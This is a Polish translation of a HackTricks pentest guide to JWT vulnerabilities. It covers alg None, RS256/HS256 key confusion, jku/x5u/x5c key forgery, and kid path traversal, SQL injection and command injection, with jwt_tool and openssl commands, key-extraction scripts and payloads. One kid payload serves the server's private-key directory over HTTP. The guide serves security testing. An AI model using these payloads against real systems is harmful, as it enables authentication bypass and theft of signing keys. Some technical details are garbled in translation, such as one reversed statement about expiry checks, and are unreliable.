18 KiB
Podatności JWT (Json Web Tokens)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Wskazówka dotycząca bug bounty: zarejestruj się na platformie Intigriti, premium platformie bug bounty stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!
{% embed url="https://go.intigriti.com/hacktricks" %}
Część tego posta opiera się na niesamowitym poście: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor wspaniałego narzędzia do pentestowania JWT https://github.com/ticarpi/jwt_tool
Szybkie Zwycięstwa
Uruchom jwt_tool w trybie All Tests!
i czekaj na zielone linie
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Jeśli masz szczęście, narzędzie znajdzie przypadki, w których aplikacja internetowa nieprawidłowo sprawdza JWT:
Następnie możesz wyszukać żądanie w swoim proxy lub wydobyć używany JWT dla tego żądania, używając narzędzia jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Modyfikacja danych bez zmieniania czegokolwiek
Możesz po prostu zmieniać dane, pozostawiając sygnaturę bez zmian i sprawdzać, czy serwer sprawdza sygnaturę. Spróbuj na przykład zmienić swoją nazwę użytkownika na "admin".
Czy token jest sprawdzany?
Aby sprawdzić, czy sygnatura JWT jest weryfikowana:
- Komunikat o błędzie sugeruje trwającą weryfikację; wrażliwe szczegóły w rozbudowanych błędach powinny być sprawdzone.
- Zmiana na zwróconej stronie również wskazuje na weryfikację.
- Brak zmian sugeruje brak weryfikacji; wtedy można eksperymentować z modyfikacją twierdzeń ładunku.
Pochodzenie
Ważne jest ustalenie, czy token został wygenerowany po stronie serwera czy po stronie klienta, poprzez analizę historii żądań proxy.
- Tokeny pochodzące po raz pierwszy po stronie klienta sugerują, że klucz może być ujawniony w kodzie po stronie klienta, co wymaga dalszych badań.
- Tokeny pochodzące po stronie serwera wskazują na bezpieczny proces.
Czas trwania
Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasać. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
Bruteforce tajnego HMAC
Zmiana algorytmu na None (CVE-2015-9235)
Ustaw używany algorytm jako "None" i usuń część sygnatury.
Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby wypróbować tę podatność i zmieniać różne wartości wewnątrz JWT (wyślij żądanie do Repeatera, a w zakładce "JSON Web Token" możesz modyfikować wartości tokena. Możesz również wybrać wartość pola "Alg" jako "None").
Zmiana algorytmu RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)
Algorytm HS256 używa tajnego klucza do podpisywania i weryfikowania każdej wiadomości.
Algorytm RS256 używa klucza prywatnego do podpisywania wiadomości i klucza publicznego do uwierzytelniania.
Jeśli zmienisz algorytm z RS256 na HS256, kod backendu użyje klucza publicznego jako tajnego klucza, a następnie użyje algorytmu HS256 do weryfikacji sygnatury.
Następnie, korzystając z klucza publicznego i zmieniając RS256 na HS256, możemy utworzyć poprawną sygnaturę. Możesz pobrać certyfikat serwera internetowego wykonując to polecenie:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nowy klucz publiczny w nagłówku
Atakujący umieszcza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114).
Można to zrobić za pomocą rozszerzenia "JSON Web Tokens" w narzędziu Burp.
(Wyślij żądanie do Repeatera, w zakładce JSON Web Token wybierz "CVE-2018-0114" i wyślij żądanie).
Podrobienie JWKS
Instrukcje opisują metodę oceny bezpieczeństwa tokenów JWT, zwłaszcza tych, które wykorzystują nagłówek "jku". Ten nagłówek powinien zawierać odnośnik do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokena.
-
Ocena tokenów z nagłówkiem "jku":
-
Sprawdź URL w nagłówku "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
-
Zmodyfikuj wartość "jku" w tokenie, aby skierować ją do kontrolowanego serwisu internetowego, umożliwiając obserwację ruchu.
-
Monitorowanie interakcji HTTP:
-
Obserwacja żądań HTTP do określonego URL wskazuje na próby serwera pobrania kluczy z podanego linku.
-
Podczas korzystania z narzędzia
jwt_tool
w tym procesie, ważne jest zaktualizowanie plikujwtconf.ini
z lokalizacją osobistego pliku JWKS w celu ułatwienia testowania. -
Polecenie dla
jwt_tool
: -
Wykonaj poniższe polecenie, aby zasymulować scenariusz za pomocą
jwt_tool
:
python3 jwt_tool.py JWT_TUTAJ -X s
Przegląd problemów z "kid"
Opcjonalny nagłówek o nazwie kid
jest wykorzystywany do identyfikacji konkretnego klucza, co jest szczególnie istotne w środowiskach, w których istnieje wiele kluczy do weryfikacji podpisu tokena. Ten nagłówek pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokena.
Ujawnienie klucza za pomocą "kid"
Gdy nagłówek kid
jest obecny, zaleca się wyszukiwanie pliku o odpowiedniej nazwie lub jej wariantach w katalogu sieciowym. Na przykład, jeśli jest określone "kid":"key/12345"
, należy wyszukać pliki /key/12345 i /key/12345.pem w głównym katalogu sieciowym.
Traversal ścieżki za pomocą "kid"
Nagłówek kid
może również być wykorzystany do nawigacji po systemie plików, co potencjalnie umożliwia wybór dowolnego pliku. Możliwe jest testowanie łączności lub wykonywanie ataków Server-Side Request Forgery (SSRF), zmieniając wartość kid
, aby celować w konkretne pliki lub usługi. Zmiana wartości kid
w JWT, zachowując jednocześnie oryginalny podpis, można osiągnąć za pomocą flagi -T
w narzędziu jwt_tool, jak pokazano poniżej:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Poprzez celowanie w pliki o przewidywalnej zawartości możliwe jest sfałszowanie prawidłowego JWT. Na przykład plik /proc/sys/kernel/randomize_va_space
w systemach Linux, który zawiera wartość 2, może być użyty w parametrze kid
z wartością 2 jako symetryczne hasło do generowania JWT.
Wstrzyknięcie SQL poprzez "kid"
Jeśli zawartość claimu kid
jest używana do pobrania hasła z bazy danych, możliwe jest wykonanie ataku SQL injection poprzez modyfikację payloadu kid
. Przykładowy payload wykorzystujący SQL injection do zmiany procesu podpisywania JWT to:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Ta zmiana wymusza użycie znanego klucza tajnego, ATTACKER
, do podpisywania JWT.
Wstrzyknięcie systemowe poprzez "kid"
W przypadku, gdy parametr kid
określa ścieżkę pliku używaną w kontekście wykonania polecenia, może to prowadzić do podatności na zdalne wykonanie kodu (RCE). Poprzez wstrzyknięcie poleceń do parametru kid
, możliwe jest ujawnienie kluczy prywatnych. Przykładowy payload umożliwiający RCE i ujawnienie kluczy to:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u i jku
jku
jku oznacza JWK Set URL.
Jeśli token używa claimu nagłówka "jku", sprawdź podany URL. Powinien on wskazywać na URL zawierający plik JWKS, który przechowuje klucz publiczny do weryfikacji tokena. Zmodyfikuj token tak, aby wartość jku wskazywała na usługę sieciową, dla której można monitorować ruch.
Najpierw musisz utworzyć nowy certyfikat z nowymi kluczami prywatnymi i publicznymi.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Następnie możesz użyć na przykład jwt.io, aby utworzyć nowy JWT z utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr jku na utworzony certyfikat. Aby utworzyć ważny certyfikat jku, możesz pobrać oryginalny i zmienić potrzebne parametry.
Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. Adres URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być używany do podpisania tego JWT. Kolejne certyfikaty podpisują poprzedni, co kończy łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Wymagane jest zabezpieczenie transportu w celu przesłania certyfikatów.
Spróbuj zmienić ten nagłówek na URL pod Twoją kontrolą i sprawdź, czy otrzymujesz jakieś żądanie. W takim przypadku możesz zmodyfikować JWT.
Aby sfałszować nowy token, używając certyfikatu kontrolowanego przez Ciebie, musisz utworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Następnie możesz użyć na przykład jwt.io, aby utworzyć nowy JWT z utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr x5u na utworzony certyfikat .crt.
Możesz również wykorzystać obie te podatności do ataków SSRF.
x5c
Ten parametr może zawierać certyfikat w formacie base64:
Jeśli atakujący wygeneruje samopodpisany certyfikat i utworzy sfałszowany token, używając odpowiadającego klucza prywatnego, a następnie zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem i zmodyfikuje inne parametry, tj. n, e i x5t, to serwer w zasadzie zaakceptuje sfałszowany token.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Osadzony klucz publiczny (CVE-2018-0114)
Jeśli JWT zawiera osadzony klucz publiczny, jak w poniższym scenariuszu:
Za pomocą poniższego skryptu w języku Node.js można wygenerować klucz publiczny na podstawie tych danych:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Możliwe jest wygenerowanie nowego klucza prywatnego/publicznego, osadzenie nowego klucza publicznego wewnątrz tokena i użycie go do wygenerowania nowego podpisu:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Możesz uzyskać wartości "n" i "e" za pomocą tego skryptu w Node.js:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Wreszcie, używając klucza publicznego i prywatnego oraz nowych wartości "n" i "e", możesz użyć jwt.io, aby sfałszować nowy ważny JWT z dowolnymi informacjami.
JTI (JWT ID)
Twierdzenie JTI (JWT ID) zapewnia unikalny identyfikator dla tokenu JWT. Może być używany do zapobiegania odtwarzaniu tokenu.
Jednak wyobraź sobie sytuację, w której maksymalna długość identyfikatora wynosi 4 (0001-9999). Żądanie 0001 i 10001 będzie używać tego samego identyfikatora. Jeśli serwer backendowy zwiększa identyfikator przy każdym żądaniu, można to wykorzystać do odtwarzania żądania (konieczne jest wysłanie 10000 żądań między każdym udanym odtworzeniem).
Zarejestrowane twierdzenia JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Inne ataki
Ataki przekazywania międzyusługowego
Zauważono, że niektóre aplikacje internetowe polegają na zaufanym usłudze JWT do generowania i zarządzania swoimi tokenami. Zdarzały się przypadki, gdy token wygenerowany dla jednego klienta przez usługę JWT został zaakceptowany przez innego klienta tej samej usługi JWT. Jeśli zaobserwowano wydanie lub odnowienie JWT za pośrednictwem usługi innej firmy, należy zbadać możliwość zarejestrowania się na innym kliencie tej usługi za pomocą tego samego nazwy użytkownika/adresu e-mail. Następnie należy spróbować odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy jest akceptowany.
- Akceptacja twojego tokenu może wskazywać na istnienie poważnego problemu, który potencjalnie umożliwia podszywanie się pod dowolne konto użytkownika. Należy jednak zauważyć, że może być konieczne uzyskanie zgody na szersze testowanie, jeśli chodzi o rejestrację w aplikacji innej firmy, ponieważ może to wprowadzić w szarą strefę prawną.
Sprawdzanie ważności tokenów
Ważność tokenu jest sprawdzana za pomocą twierdzenia "exp" w ładunku. Ponieważ JWT często są używane bez informacji o sesji, wymaga się ostrożnego postępowania. W wielu przypadkach przechwycenie i odtworzenie tokenu innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca łagodzenie ataków powtórnego odtwarzania JWT poprzez wykorzystanie twierdzenia "exp" do ustawienia czasu ważności tokenu. Ponadto, ważne jest, aby aplikacja wdrożyła odpowiednie sprawdzenia w celu zapewnienia przetwarzania tej wartości i odrzucania wygasłych tokenów. Jeśli token zawiera twierdzenie "exp" i limity czasu testowania na to pozwalają, zaleca się przechowywanie tokenu i odtwarzanie go po upływie czasu ważności. Zawartość tokenu, w tym analiza znaczników czasowych i sprawdzanie ważności (znacznik czasu w formacie UTC), można odczytać za pomocą flagi -R narzędzia jwt_tool.
- Istnieje ryzyko bezpieczeństwa, jeśli aplikacja wciąż sprawdza ważność tokenu, ponieważ może to sugerować, że token nigdy nie wygaśnie.
Narzędzia
{% embed url="https://github.com/ticarpi/jwt_tool" %}
Wskazówka dotycząca bug bounty: zarejestruj się na platformie Intigriti, premium platformie bug bounty stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!
{% embed url="https://go.intigriti.com/hacktricks" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud github repos.